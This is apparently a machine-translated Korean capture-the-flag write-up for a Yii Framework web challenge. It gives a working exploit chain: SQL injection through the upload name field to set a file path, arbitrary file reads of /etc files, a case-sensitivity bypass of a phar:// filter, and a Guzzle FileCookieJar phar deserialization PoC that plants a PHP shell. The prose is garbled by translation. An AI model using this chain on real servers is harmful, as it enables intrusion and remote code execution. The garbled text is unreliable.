[붕 정 배] (Web) Yii Framework
정보 수집:
제목 주소:http://58.20.46.148:21333/
CREATE TABLE IF NOT EXISTS "users" (
"id" integer PRIMARY KEY AUTOINCREMENT NOT NULL,
"username" char(1024) NOT NULL,
"password" char(1024) NOT NULL,
"filepath" varchar(1024)
);
$filepath = '../uploads/'.$_POST['UploadForm[name]'].'.';
$filepath .= pathinfo($_FILES['UploadForm[imageFile]']['name'], PATHINFO_EXTENSION);
echo $filepath;
$filepath
파일 이름 으로 파일 류 를 읽 는 함수 에 들 어 갈 것 이 라 고 추측 합 니 다. $filepath
임의로 제어 할 수 있다 면 phop 파일 을 읽 을 수 있 지만 제목 검사 $_POST['UploadForm[name]']
에 존재 하 는 지 ph
가 있 습 니 다. 업로드 실패 가 있 으 면.UploadForm[name]=',filepath='/etc/apt/source
filename=lilac.list
UploadForm[name]=',filepath='/etc/apache2/sites-enabled/000-default.conf',username='lilac
filename=whatever
...
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/You_Cant_Gu3ss/web
...
➜ controllers cat UsersController.php
session->get('id')) {
return $this->redirect(['site/index']);
}
$model = new UploadForm();
if (Yii::$app->request->isPost) {
$model->imageFile = UploadedFile::getInstance($model, 'imageFile');
$model->name = Yii::$app->request->post('UploadForm')['name'];
if ($path = $model->upload()) {
$filename = $path;
$sql = 'update users set filepath = \''.$filename.'\' where id = '.Yii::$app->session->get('id');
Yii::$app->db->createCommand($sql)->execute();
\Yii::$app->getSession()->setFlash('success', "File upload Success! path is ../uploads/".$model->name.'.'.$model->imageFile->extension);
return $this->render('file', ['model' => $model]);
}
}
return $this->render('file', ['model' => $model]);
}
public function actionShow(){
if (!Yii::$app->session->get('id')) {
return $this->redirect(['site/index']);
}
$model = Users::find()->where(['id'=>Yii::$app->session->get('id')])->one();
if (!$model->filepath){
\Yii::$app->getSession()->setFlash('error', "You should upload your image first");
return $this->redirect(['file']);
}
if (substr($model->filepath, 0,7)=='phar://') {
\Yii::$app->getSession()->setFlash('error', "no phar! ");
return $this->redirect(['file']);
}
$content = @file_get_contents($model->filepath);
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $content;
exit;
}
}
readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname");
readfile("FILE:///etc/hostname");
1. ( Gadget )
2.
3.
vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
, shell
';
$obj = new FileCookieJar('/var/www/html/You_Cant_Gu3ss/web/assets/lilac.php');
$c = new SetCookie([
'Name' => 'foo',
'Value' => 'bar',
'Domain' => $payload,
'Expires' => time()+0x100,
'Discard' => false,
]);
$obj->setCookie($c);
$data = serialize($obj);
print_r($data);
file_put_contents("poc.dat", $data);
$phar_filename = "lilac.phar";
@unlink($phar_filename);
$phar = new Phar($phar_filename);
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($obj);
$phar->addFromString("lilac", "lilac");
$phar->stopBuffering();
UploadForm[name]=1',filepath='Phar:///var/www/html/You_Cant_Gu3ss/uploads/lilac.jpg/lilac',username='lilac
lilac
\x00
가 들 어 있 기 때문에 복사 할 때 구 덩이 될 수 있 으 므 로 파일 에 직접 써 야 합 니 다 이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
다양한 언어의 JSONJSON은 Javascript 표기법을 사용하여 데이터 구조를 레이아웃하는 데이터 형식입니다. 그러나 Javascript가 코드에서 이러한 구조를 나타낼 수 있는 유일한 언어는 아닙니다. 저는 일반적으로 '객체'{}...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.